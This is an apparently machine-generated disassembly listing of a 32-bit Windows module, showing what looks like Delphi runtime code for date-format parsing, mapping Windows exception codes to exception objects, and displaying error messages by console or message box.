--------------------------------------------------------------------------- loc_2000A10D: ; CODE XREF: sub_2000A060+76j mov eax, edi mov edx, esi call sub_20003FFC jmp loc_2000A20F ; --------------------------------------------------------------------------- loc_2000A11B: ; CODE XREF: sub_2000A060+1A9j mov al, [esi+ebx-1] and eax, 0FFh bt ds:dword_2001412C, eax jnb short loc_2000A15B mov edx, ebx mov eax, esi call sub_2000AFC4 mov [ebp+var_4], eax lea eax, [ebp+var_10] push eax mov ecx, [ebp+var_4] mov edx, ebx mov eax, esi call sub_200044A4 mov edx, [ebp+var_10] mov eax, edi call sub_2000424C add ebx, [ebp+var_4] jmp loc_2000A200 ; --------------------------------------------------------------------------- loc_2000A15B: ; CODE XREF: sub_2000A060+CBj mov edx, offset dword_2000A244 lea eax, [esi+ebx-1] mov ecx, 2 call sub_20007738 test eax, eax jnz short loc_2000A181 mov eax, edi mov edx, offset dword_2000A250 call sub_2000424C inc ebx jmp short loc_2000A1FF ; --------------------------------------------------------------------------- loc_2000A181: ; CODE XREF: sub_2000A060+110j mov edx, offset aYyyy_0 ; "yyyy" lea eax, [esi+ebx-1] mov ecx, 4 call sub_20007738 test eax, eax jnz short loc_2000A1A9 mov eax, edi mov edx, offset aEeee ; "eeee" call sub_2000424C add ebx, 3 jmp short loc_2000A1FF ; --------------------------------------------------------------------------- loc_2000A1A9: ; CODE XREF: sub_2000A060+136j mov edx, offset aYy ; "yy" lea eax, [esi+ebx-1] mov ecx, 2 call sub_20007738 test eax, eax jnz short loc_2000A1CF mov eax, edi mov edx, offset dword_2000A278 call sub_2000424C inc ebx jmp short loc_2000A1FF ; --------------------------------------------------------------------------- loc_2000A1CF: ; CODE XREF: sub_2000A060+15Ej mov al, [esi+ebx-1] sub al, 59h jz short loc_2000A1DB sub al, 20h jnz short loc_2000A1E9 loc_2000A1DB: ; CODE XREF: sub_2000A060+175j mov eax, edi mov edx, offset dword_2000A284 call sub_2000424C jmp short loc_2000A1FF ; --------------------------------------------------------------------------- loc_2000A1E9: ; CODE XREF: sub_2000A060+179j lea eax, [ebp+var_14] mov dl, [esi+ebx-1] call sub_20004190 mov edx, [ebp+var_14] mov eax, edi call sub_2000424C loc_2000A1FF: ; CODE XREF: sub_2000A060+11Fj ; sub_2000A060+147j ... inc ebx loc_2000A200: ; CODE XREF: sub_2000A060+56j ; sub_2000A060+F6j mov eax, esi call sub_20004244 cmp ebx, eax jle loc_2000A11B loc_2000A20F: ; CODE XREF: sub_2000A060+A8j ; sub_2000A060+B6j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000A231 loc_2000A21C: ; CODE XREF: sub_2000A060+1CFj lea eax, [ebp+var_14] mov edx, 4 call sub_20003FCC retn ; --------------------------------------------------------------------------- loc_2000A22A: ; DATA XREF: sub_2000A060+14o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000A21C ; --------------------------------------------------------------------------- loc_2000A231: ; CODE XREF: sub_2000A060+1C9j ; DATA XREF: sub_2000A060+1B7o pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_2000A060 endp ; --------------------------------------------------------------------------- dd 0FFFFFFFFh, 1 dword_2000A240 dd 31h ; DATA XREF: sub_2000A060+34o dword_2000A244 dd 6767h, 0FFFFFFFFh, 3 ; DATA XREF: sub_2000A060:loc_2000A15Bo dword_2000A250 dd 676767h ; DATA XREF: sub_2000A060+114o aYyyy_0 db 'yyyy',0 ; DATA XREF: sub_2000A060:loc_2000A181o align 4 dd 0FFFFFFFFh, 4 aEeee db 'eeee',0 ; DATA XREF: sub_2000A060+13Ao align 4 aYy db 'yy',0 ; DATA XREF: sub_2000A060:loc_2000A1A9o align 10h dd 0FFFFFFFFh, 2 dword_2000A278 dd 6565h, 0FFFFFFFFh, 1 ; DATA XREF: sub_2000A060+162o dword_2000A284 dd 65h ; DATA XREF: sub_2000A060+17Do ; =============== S U B R O U T I N E ======================================= sub_2000A288 proc near ; CODE XREF: CODE:2000A2F7p test eax, eax jz short locret_2000A291 sub eax, 1000h locret_2000A291: ; CODE XREF: sub_2000A288+2j retn sub_2000A288 endp ; --------------------------------------------------------------------------- align 4 push ebp mov ebp, esp add esp, 0FFFFFBA8h push ebx push esi push edi mov [ebp-4], ecx mov ebx, edx mov esi, eax push 1Ch lea eax, [ebp-330h] push eax push ebx call VirtualQuery_0 cmp dword ptr [ebp-320h], 1000h jnz short loc_2000A2DE push 105h lea eax, [ebp-212h] push eax mov eax, [ebp-32Ch] push eax call GetModuleFileNameA_0 test eax, eax jnz short loc_2000A301 loc_2000A2DE: ; CODE XREF: CODE:2000A2C0j push 105h lea eax, [ebp-212h] push eax mov eax, ds:dword_20015660 push eax call GetModuleFileNameA_0 mov eax, ebx call sub_2000A288 mov [ebp-8], eax jmp short loc_2000A30A ; --------------------------------------------------------------------------- loc_2000A301: ; CODE XREF: CODE:2000A2DCj sub ebx, [ebp-32Ch] mov [ebp-8], ebx loc_2000A30A: ; CODE XREF: CODE:2000A2FFj lea eax, [ebp-212h] mov dl, 5Ch call sub_2000B114 mov edx, eax inc edx lea eax, [ebp-10Dh] mov ecx, 104h call sub_20007704 mov ebx, offset dword_2000A414 mov edi, offset dword_2000A414 mov eax, esi mov edx, off_20006350 call sub_20003680 test al, al jz short loc_2000A366 mov eax, [esi+4] call sub_20004444 mov ebx, eax mov eax, ebx call sub_200076DC test eax, eax jz short loc_2000A366 cmp byte ptr [ebx+eax-1], 2Eh jz short loc_2000A366 mov edi, offset dword_2000A418 loc_2000A366: ; CODE XREF: CODE:2000A343j ; CODE:2000A358j ... push 100h lea eax, [ebp-312h] push eax mov eax, ds:off_20014590 mov eax, [eax+4] push eax mov eax, ds:dword_20015660 call sub_20004F24 push eax call LoadStringA_0 lea edx, [ebp-458h] mov eax, [esi] call sub_2000346C lea eax, [ebp-458h] mov [ebp-358h], eax mov byte ptr [ebp-354h], 4 lea eax, [ebp-10Dh] mov [ebp-350h], eax mov byte ptr [ebp-34Ch], 6 mov eax, [ebp-8] mov [ebp-348h], eax mov byte ptr [ebp-344h], 5 mov [ebp-340h], ebx mov byte ptr [ebp-33Ch], 6 mov [ebp-338h], edi mov byte ptr [ebp-334h], 6 lea eax, [ebp-358h] push eax push 4 lea ecx, [ebp-312h] mov edx, [ebp+8] mov eax, [ebp-4] call sub_20007C24 mov eax, [ebp-4] call sub_200076DC pop edi pop esi pop ebx mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- align 4 dword_2000A414 dd 0 ; DATA XREF: CODE:2000A32Ao ; CODE:2000A32Fo dword_2000A418 dd 2Eh, 0FBBCC481h, 68FFFFh, 8D000004h, 0E848244Ch, 0FFFFFE64h ; DATA XREF: CODE:2000A361o ; --------------------------------------------------------------------------- mov eax, ds:off_20014528 cmp byte ptr [eax], 0 jz short loc_2000A498 mov eax, ds:off_2001444C call sub_20002CAC call sub_2000275C lea eax, [esp+44h] push eax lea eax, [esp+48h] push eax call CharToOemA push 0 lea eax, [esp+4] push eax lea eax, [esp+4Ch] call sub_200076DC push eax lea eax, [esp+50h] push eax push 0FFFFFFF4h call GetStdHandle_0 push eax call WriteFile_0 push 0 lea eax, [esp+4] push eax push 2 push offset dword_2000A4E0 push 0FFFFFFF4h call GetStdHandle_0 push eax call WriteFile_0 jmp short loc_2000A4CE ; --------------------------------------------------------------------------- loc_2000A498: ; CODE XREF: CODE:2000A438j push 40h lea eax, [esp+8] push eax mov eax, ds:off_20014428 mov eax, [eax+4] push eax mov eax, ds:dword_20015660 call sub_20004F24 push eax call LoadStringA_0 push 2010h lea eax, [esp+8] push eax lea eax, [esp+4Ch] push eax push 0 call MessageBoxA_0 loc_2000A4CE: ; CODE XREF: CODE:2000A496j add esp, 444h retn ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 2 dword_2000A4E0 dd 0A0Dh ; DATA XREF: CODE:2000A484o ; =============== S U B R O U T I N E ======================================= sub_2000A4E4 proc near ; CODE XREF: sub_2000A69C+32p ; sub_2000A71C+38p ... push ebx push esi push edi test dl, dl jz short loc_2000A4F3 add esp, 0FFFFFFF0h call sub_2000373C loc_2000A4F3: ; CODE XREF: sub_2000A4E4+5j mov esi, ecx mov ebx, edx mov edi, eax lea eax, [edi+4] mov edx, esi call sub_20003FFC mov eax, edi test bl, bl jz short loc_2000A518 call sub_20003794 pop large dword ptr fs:0 add esp, 0Ch loc_2000A518: ; CODE XREF: sub_2000A4E4+23j mov eax, edi pop edi pop esi pop ebx retn sub_2000A4E4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000A520 proc near ; CODE XREF: sub_2000A770+77p ; sub_2000A8F8+127p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0 push ebx push esi push edi test dl, dl jz short loc_2000A534 add esp, 0FFFFFFF0h call sub_2000373C loc_2000A534: ; CODE XREF: sub_2000A520+Aj mov esi, ecx mov ebx, edx mov edi, eax xor eax, eax push ebp push offset loc_2000A57A push dword ptr fs:[eax] mov fs:[eax], esp lea eax, [ebp+var_4] push eax mov edx, [ebp+arg_4] mov ecx, [ebp+arg_0] mov eax, esi call sub_20007C64 mov edx, [ebp+var_4] lea eax, [edi+4] call sub_20003FFC xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000A581 loc_2000A571: ; CODE XREF: sub_2000A520+5Fj lea eax, [ebp+var_4] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_2000A57A: ; DATA XREF: sub_2000A520+1Do jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000A571 ; --------------------------------------------------------------------------- loc_2000A581: ; CODE XREF: sub_2000A520+59j ; DATA XREF: sub_2000A520+4Co mov eax, edi test bl, bl jz short loc_2000A596 call sub_20003794 pop large dword ptr fs:0 add esp, 0Ch loc_2000A596: ; CODE XREF: sub_2000A520+65j mov eax, edi pop edi pop esi pop ebx pop ecx pop ebp retn 8 sub_2000A520 endp ; =============== S U B R O U T I N E ======================================= sub_2000A5A0 proc near ; CODE XREF: CODE:2000A855p ; sub_2000ABA0+Dp ... push ebx push esi push edi test dl, dl jz short loc_2000A5AF add esp, 0FFFFFFF0h call sub_2000373C loc_2000A5AF: ; CODE XREF: sub_2000A5A0+5j mov esi, ecx mov ebx, edx mov edi, eax lea edx, [edi+4] mov eax, esi call sub_20005994 mov eax, edi test bl, bl jz short loc_2000A5D4 call sub_20003794 pop large dword ptr fs:0 add esp, 0Ch loc_2000A5D4: ; CODE XREF: sub_2000A5A0+23j mov eax, edi pop edi pop esi pop ebx retn sub_2000A5A0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000A5DC proc near ; CODE XREF: sub_20006F08+14p ; sub_2000A69C+51p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0 push 0 push ebx push esi push edi test dl, dl jz short loc_2000A5F2 add esp, 0FFFFFFF0h call sub_2000373C loc_2000A5F2: ; CODE XREF: sub_2000A5DC+Cj mov esi, ecx mov ebx, edx mov edi, eax xor eax, eax push ebp push offset loc_2000A648 push dword ptr fs:[eax] mov fs:[eax], esp lea eax, [ebp+var_4] push eax lea edx, [ebp+var_8] mov eax, esi call sub_20005994 mov eax, [ebp+var_8] mov edx, [ebp+arg_4] mov ecx, [ebp+arg_0] call sub_20007C64 mov edx, [ebp+var_4] lea eax, [edi+4] call sub_20003FFC xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000A64F loc_2000A63A: ; CODE XREF: sub_2000A5DC+71j lea eax, [ebp+var_8] mov edx, 2 call sub_20003FCC retn ; --------------------------------------------------------------------------- loc_2000A648: ; DATA XREF: sub_2000A5DC+1Fo jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000A63A ; --------------------------------------------------------------------------- loc_2000A64F: ; CODE XREF: sub_2000A5DC+6Bj ; DATA XREF: sub_2000A5DC+59o mov eax, edi test bl, bl jz short loc_2000A664 call sub_20003794 pop large dword ptr fs:0 add esp, 0Ch loc_2000A664: ; CODE XREF: sub_2000A5DC+77j mov eax, edi pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn 8 sub_2000A5DC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_2000A670 proc near ; DATA XREF: CODE:200063FCo ; CODE:20006458o ... cmp byte ptr [eax+0Ch], 0 jz short locret_2000A67B call sub_200034A8 locret_2000A67B: ; CODE XREF: sub_2000A670+4j retn sub_2000A670 endp ; --------------------------------------------------------------------------- off_2000A67C dd offset dword_2000A680 ; DATA XREF: CODE:2000BFCCr dword_2000A680 dd 4554090Eh, 726F7272h, 8636552h, 1000000h ; DATA XREF: CODE:off_2000A67Co db 3 dup(0) dd offset off_20001000 db 4 dd 90000000h ; =============== S U B R O U T I N E ======================================= sub_2000A69C proc near ; CODE XREF: sub_2000A71C:loc_2000A75Dp var_10 = dword ptr -10h var_C = byte ptr -0Ch push ebx push esi add esp, 0FFFFFFF8h xor ebx, ebx call sub_200027DC mov esi, eax jmp short loc_2000A6AD ; --------------------------------------------------------------------------- loc_2000A6AC: ; CODE XREF: sub_2000A69C+1Dj inc ebx loc_2000A6AD: ; CODE XREF: sub_2000A69C+Ej cmp ebx, 6 jg short loc_2000A6BB cmp esi, ds:dword_2001423C[ebx*8] jnz short loc_2000A6AC loc_2000A6BB: ; CODE XREF: sub_2000A69C+14j cmp ebx, 6 jg short loc_2000A6D5 mov ecx, ds:dword_20014240[ebx*8] mov dl, 1 mov eax, off_20006470 call sub_2000A4E4 jmp short loc_2000A6F2 ; --------------------------------------------------------------------------- loc_2000A6D5: ; CODE XREF: sub_2000A69C+22j mov [esp+10h+var_10], esi mov [esp+10h+var_C], 0 push esp push 0 mov ecx, ds:off_20014424 mov dl, 1 mov eax, off_20006470 call sub_2000A5DC loc_2000A6F2: ; CODE XREF: sub_2000A69C+37j mov [eax+0Ch], esi pop ecx pop edx pop esi pop ebx retn sub_2000A69C endp ; --------------------------------------------------------------------------- align 4 off_2000A6FC dd offset dword_2000A700 ; DATA XREF: CODE:2000BFB7r dword_2000A700 dd 45540A0Eh, 70656378h, 63655274h, 8, 1 ; DATA XREF: CODE:off_2000A6FCo dd offset off_20001000 dd 4 ; =============== S U B R O U T I N E ======================================= sub_2000A71C proc near ; DATA XREF: sub_2000ABA0+33o push ebx mov ebx, edx mov edx, eax dec dl jz short loc_2000A731 dec dl jz short loc_2000A739 dec edx sub dl, 16h jb short loc_2000A741 jmp short loc_2000A75D ; --------------------------------------------------------------------------- loc_2000A731: ; CODE XREF: sub_2000A71C+7j mov edx, ds:dword_200157A8 jmp short loc_2000A764 ; --------------------------------------------------------------------------- loc_2000A739: ; CODE XREF: sub_2000A71C+Bj mov edx, ds:dword_200157AC jmp short loc_2000A764 ; --------------------------------------------------------------------------- loc_2000A741: ; CODE XREF: sub_2000A71C+11j and eax, 0FFh lea eax, dword_2001425C[eax*8] mov ecx, [eax+4] mov eax, [eax] mov dl, 1 call sub_2000A4E4 mov edx, eax jmp short loc_2000A764 ; --------------------------------------------------------------------------- loc_2000A75D: ; CODE XREF: sub_2000A71C+13j call sub_2000A69C mov edx, eax loc_2000A764: ; CODE XREF: sub_2000A71C+1Bj ; sub_2000A71C+23j ... push ebx mov eax, edx jmp sub_20003A08 sub_2000A71C endp ; --------------------------------------------------------------------------- pop ebx retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000A770 proc near ; CODE XREF: sub_2000A82C+3p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFE0h push ebx push esi push edi xor ebx, ebx mov [ebp+var_20], ebx mov [ebp+var_4], ebx mov edi, ecx mov esi, edx mov ebx, eax xor eax, eax push ebp push offset loc_2000A80C push dword ptr fs:[eax] mov fs:[eax], esp test ebx, ebx jz short loc_2000A7A5 lea eax, [ebp+var_4] mov edx, ebx call sub_20004040 jmp short loc_2000A7B2 ; --------------------------------------------------------------------------- loc_2000A7A5: ; CODE XREF: sub_2000A770+27j lea edx, [ebp+var_4] mov eax, ds:off_2001451C call sub_20005994 loc_2000A7B2: ; CODE XREF: sub_2000A770+33j mov eax, [ebp+var_4] mov [ebp+var_1C], eax mov [ebp+var_18], 0Bh mov [ebp+var_14], esi mov [ebp+var_10], 0Bh mov [ebp+var_C], edi mov [ebp+var_8], 0 lea eax, [ebp+var_1C] push eax push 2 lea edx, [ebp+var_20] mov eax, ds:off_2001454C call sub_20005994 mov ecx, [ebp+var_20] mov dl, 1 mov eax, off_20006B78 call sub_2000A520 mov ebx, eax xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000A813 loc_2000A7FB: ; CODE XREF: sub_2000A770+A1j lea eax, [ebp+var_20] call sub_20003FA8 lea eax, [ebp+var_4] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_2000A80C: ; DATA XREF: sub_2000A770+1Ao jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000A7FB ; --------------------------------------------------------------------------- loc_2000A813: ; CODE XREF: sub_2000A770+9Bj ; DATA XREF: sub_2000A770+86o mov eax, ebx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_2000A770 endp ; =============== S U B R O U T I N E ======================================= sub_2000A81C proc near ; CODE XREF: sub_2000A82C+11p mov esp, ecx mov [esp+0], edx mov ebp, [ebp+0] jmp sub_20003A08 sub_2000A81C endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000A82C proc near ; DATA XREF: sub_2000ABA0+67o arg_0 = dword ptr 8 push ebp mov ebp, esp call sub_2000A770 lea ecx, [ebp+arg_0] add ecx, 4 mov edx, [ebp+arg_0] call sub_2000A81C pop ebp retn 4 sub_2000A82C endp ; --------------------------------------------------------------------------- align 4 loc_2000A848: ; DATA XREF: sub_2000ABA0+74o mov ecx, ds:off_2001443C mov dl, 1 mov eax, off_20006BD8 call sub_2000A5A0 call sub_20003A08 retn ; =============== S U B R O U T I N E ======================================= sub_2000A860 proc near ; CODE XREF: sub_2000A8E0+5p ; sub_2000AAC4+20p mov eax, [eax] cmp eax, 0C0000092h jg short loc_2000A895 jz short loc_2000A8C4 cmp eax, 0C000008Eh jg short loc_2000A887 jz short loc_2000A8C7 sub eax, 0C0000005h jz short loc_2000A8D0 sub eax, 87h jz short loc_2000A8BE dec eax jz short loc_2000A8CD jmp short loc_2000A8DC ; --------------------------------------------------------------------------- loc_2000A887: ; CODE XREF: sub_2000A860+10j add eax, 3FFFFF71h sub eax, 2 jb short loc_2000A8C4 jz short loc_2000A8CA jmp short loc_2000A8DC ; --------------------------------------------------------------------------- loc_2000A895: ; CODE XREF: sub_2000A860+7j cmp eax, 0C0000096h jg short loc_2000A8AD jz short loc_2000A8D3 sub eax, 0C0000093h jz short loc_2000A8CD dec eax jz short loc_2000A8BB dec eax jz short loc_2000A8C1 jmp short loc_2000A8DC ; --------------------------------------------------------------------------- loc_2000A8AD: ; CODE XREF: sub_2000A860+3Aj sub eax, 0C00000FDh jz short loc_2000A8D9 sub eax, 3Dh jz short loc_2000A8D6 jmp short loc_2000A8DC ; --------------------------------------------------------------------------- loc_2000A8BB: ; CODE XREF: sub_2000A860+46j mov al, 3 retn ; --------------------------------------------------------------------------- loc_2000A8BE: ; CODE XREF: sub_2000A860+20j mov al, 4 retn ; --------------------------------------------------------------------------- loc_2000A8C1: ; CODE XREF: sub_2000A860+49j mov al, 5 retn ; --------------------------------------------------------------------------- loc_2000A8C4: ; CODE XREF: sub_2000A860+9j ; sub_2000A860+2Fj mov al, 6 retn ; --------------------------------------------------------------------------- loc_2000A8C7: ; CODE XREF: sub_2000A860+12j mov al, 7 retn ; --------------------------------------------------------------------------- loc_2000A8CA: ; CODE XREF: sub_2000A860+31j mov al, 8 retn ; --------------------------------------------------------------------------- loc_2000A8CD: ; CODE XREF: sub_2000A860+23j ; sub_2000A860+43j mov al, 9 retn ; --------------------------------------------------------------------------- loc_2000A8D0: ; CODE XREF: sub_2000A860+19j mov al, 0Bh retn ; --------------------------------------------------------------------------- loc_2000A8D3: ; CODE XREF: sub_2000A860+3Cj mov al, 0Ch retn ; --------------------------------------------------------------------------- loc_2000A8D6: ; CODE XREF: sub_2000A860+57j mov al, 0Dh retn ; --------------------------------------------------------------------------- loc_2000A8D9: ; CODE XREF: sub_2000A860+52j mov al, 0Eh retn ; --------------------------------------------------------------------------- loc_2000A8DC: ; CODE XREF: sub_2000A860+25j ; sub_2000A860+33j ... mov al, 16h retn sub_2000A860 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_2000A8E0 proc near ; DATA XREF: sub_2000ABA0+56o push ebx mov ebx, eax mov eax, ebx call sub_2000A860 and eax, 0FFh mov eax, ds:dword_2001425C[eax*8] pop ebx retn sub_2000A8E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000A8F8 proc near ; CODE XREF: sub_2000AAC4+54p var_170 = dword ptr -170h var_16C = dword ptr -16Ch var_168 = byte ptr -168h var_164 = dword ptr -164h var_160 = byte ptr -160h var_15C = dword ptr -15Ch var_158 = byte ptr -158h var_154 = dword ptr -154h var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_148 = dword ptr -148h var_144 = byte ptr -144h var_140 = dword ptr -140h var_13C = byte ptr -13Ch var_138 = dword ptr -138h var_134 = byte ptr -134h var_130 = dword ptr -130h var_12C = byte ptr -12Ch Filename = byte ptr -125h Buffer = _MEMORY_BASIC_INFORMATION ptr -20h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFE90h push ebx push esi xor eax, eax mov [ebp+var_170], eax mov [ebp+var_14C], eax mov [ebp+var_154], eax mov [ebp+var_150], eax mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_2000AAB3 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+arg_0] mov ebx, [eax-4] cmp dword ptr [ebx+14h], 0 jnz short loc_2000A949 lea edx, [ebp+var_4] mov eax, ds:off_200145A4 call sub_20005994 jmp short loc_2000A956 ; --------------------------------------------------------------------------- loc_2000A949: ; CODE XREF: sub_2000A8F8+40j lea edx, [ebp+var_4] mov eax, ds:off_20014504 call sub_20005994 loc_2000A956: ; CODE XREF: sub_2000A8F8+4Fj mov esi, [ebx+18h] push 1Ch ; dwLength lea eax, [ebp+Buffer] push eax ; lpBuffer mov eax, [ebx+0Ch] push eax ; lpAddress call VirtualQuery_0 cmp [ebp+Buffer.State], 1000h jnz loc_2000AA28 push 105h ; nSize lea eax, [ebp+Filename] push eax ; lpFilename mov eax, [ebp+Buffer.AllocationBase] push eax ; hModule call GetModuleFileNameA_0 test eax, eax jz loc_2000AA28 mov eax, [ebx+0Ch] mov [ebp+var_148], eax mov [ebp+var_144], 5 lea eax, [ebp+var_150] lea edx, [ebp+Filename] mov ecx, 105h call sub_20004218 mov eax, [ebp+var_150] lea edx, [ebp+var_14C] call sub_200075F4 mov eax, [ebp+var_14C] mov [ebp+var_140], eax mov [ebp+var_13C], 0Bh mov eax, [ebp+var_4] mov [ebp+var_138], eax mov [ebp+var_134], 0Bh mov [ebp+var_130], esi mov [ebp+var_12C], 5 lea eax, [ebp+var_148] push eax push 3 lea edx, [ebp+var_154] mov eax, ds:off_2001453C call sub_20005994 mov ecx, [ebp+var_154] mov dl, 1 mov eax, off_200069B0 call sub_2000A520 mov ebx, eax jmp short loc_2000AA82 ; --------------------------------------------------------------------------- loc_2000AA28: ; CODE XREF: sub_2000A8F8+77j ; sub_2000A8F8+94j mov eax, [ebx+0Ch] mov [ebp+var_16C], eax mov [ebp+var_168], 5 mov eax, [ebp+var_4] mov [ebp+var_164], eax mov [ebp+var_160], 0Bh mov [ebp+var_15C], esi mov [ebp+var_158], 5 lea eax, [ebp+var_16C] push eax push 2 lea edx, [ebp+var_170] mov eax, ds:off_20014508 call sub_20005994 mov ecx, [ebp+var_170] mov dl, 1 mov eax, off_200069B0 call sub_2000A520 mov ebx, eax loc_2000AA82: ; CODE XREF: sub_2000A8F8+12Ej xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000AABA loc_2000AA8F: ; CODE XREF: sub_2000A8F8+1C0j lea eax, [ebp+var_170] call sub_20003FA8 lea eax, [ebp+var_154] mov edx, 3 call sub_20003FCC lea eax, [ebp+var_4] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_2000AAB3: ; DATA XREF: sub_2000A8F8+2Bo jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000AA8F ; --------------------------------------------------------------------------- loc_2000AABA: ; CODE XREF: sub_2000A8F8+1BAj ; DATA XREF: sub_2000A8F8+192o mov eax, ebx pop esi pop ebx mov esp, ebp pop ebp retn sub_2000A8F8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000AAC4 proc near ; DATA XREF: sub_2000ABA0+61o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF0h push ebx xor edx, edx mov [ebp+var_10], edx mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_2000AB7F push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] call sub_2000A860 and eax, 0FFh mov edx, eax add edx, 0FFFFFFFDh sub edx, 8 jb short loc_2000AB00 jz short loc_2000AB17 dec edx sub edx, 0Ah jnb short loc_2000AB22 loc_2000AB00: ; CODE XREF: sub_2000AAC4+32j lea eax, dword_2001425C[eax*8] mov ecx, [eax+4] mov eax, [eax] mov dl, 1 call sub_2000A4E4 mov ebx, eax jmp short loc_2000AB52 ; --------------------------------------------------------------------------- loc_2000AB17: ; CODE XREF: sub_2000AAC4+34j push ebp call sub_2000A8F8 pop ecx mov ebx, eax jmp short loc_2000AB52 ; --------------------------------------------------------------------------- loc_2000AB22: ; CODE XREF: sub_2000AAC4+3Aj mov eax, [ebp+var_4] mov eax, [eax] mov [ebp+var_C], eax mov [ebp+var_8], 0 lea eax, [ebp+var_C] push eax push 0 lea edx, [ebp+var_10] mov eax, ds:off_200143EC call sub_20005994 mov ecx, [ebp+var_10] mov dl, 1 mov eax, off_20006520 call sub_2000A520 mov ebx, eax loc_2000AB52: ; CODE XREF: sub_2000AAC4+51j ; sub_2000AAC4+5Cj mov eax, ebx mov edx, off_200064C8 call sub_20003680 test al, al jz short loc_2000AB69 mov eax, [ebp+var_4] mov [ebx+0Ch], eax loc_2000AB69: ; CODE XREF: sub_2000AAC4+9Dj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000AB86 loc_2000AB76: ; CODE XREF: sub_2000AAC4+C0j lea eax, [ebp+var_10] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_2000AB7F: ; DATA XREF: sub_2000AAC4+12o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000AB76 ; --------------------------------------------------------------------------- loc_2000AB86: ; CODE XREF: sub_2000AAC4+BAj ; DATA XREF: sub_2000AAC4+ADo mov eax, ebx pop ebx mov esp, ebp pop ebp retn sub_2000AAC4 endp ; --------------------------------------------------------------------------- align 10h dword_2000AB90 dd 0FFF887E8h, 1B8FFh, 0F1E80000h, 0C3FFFF93h ; DATA XREF: sub_2000ABA0+3Eo ; =============== S U B R O U T I N E ======================================= sub_2000ABA0 proc near ; CODE XREF: CODE:loc_2000C142p mov ecx, ds:off_2001442C mov dl, 1 mov eax, off_20006414 call sub_2000A5A0 mov ds:dword_200157A8, eax mov ecx, ds:off_200144E0 mov dl, 1 mov eax, off_2000689C call sub_2000A5A0 mov ds:dword_200157AC, eax mov eax, ds:off_200143F8 mov dword ptr [eax], offset sub_2000A71C mov eax, ds:off_2001445C mov dword ptr [eax], offset dword_2000AB90 mov eax, ds:off_20014420 mov edx, off_20006350 mov [eax], edx mov eax, ds:off_20014454 mov dword ptr [eax], offset sub_2000A8E0 mov eax, ds:off_20014460 mov dword ptr [eax], offset sub_2000AAC4 mov eax, offset sub_2000A82C mov edx, ds:off_200144F4 mov [edx], eax mov eax, offset loc_2000A848 mov edx, ds:off_200143E8 mov [edx], eax retn sub_2000ABA0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000AC24 proc near ; CODE XREF: CODE:2000BFA8p cmp ds:dword_200157A8, 0 jz short loc_2000AC47 mov eax, ds:dword_200157A8 mov byte ptr [eax+0Ch], 1 mov eax, ds:dword_200157A8 mov edx, [eax] call dword ptr [edx-8] xor eax, eax mov ds:dword_200157A8, eax loc_2000AC47: ; CODE XREF: sub_2000AC24+7j cmp ds:dword_200157AC, 0 jz short loc_2000AC6A mov eax, ds:dword_200157AC mov byte ptr [eax+0Ch], 1 mov eax, ds:dword_200157AC call sub_200034F4 xor eax, eax mov ds:dword_200157AC, eax loc_2000AC6A: ; CODE XREF: sub_2000AC24+2Aj mov eax, ds:off_200143F8 xor edx, edx mov [eax], edx mov eax, ds:off_2001445C xor edx, edx mov [eax], edx mov eax, ds:off_20014420 xor edx, edx mov [eax], edx mov eax, ds:off_20014454 xor edx, edx mov [eax], edx mov eax, ds:off_20014460 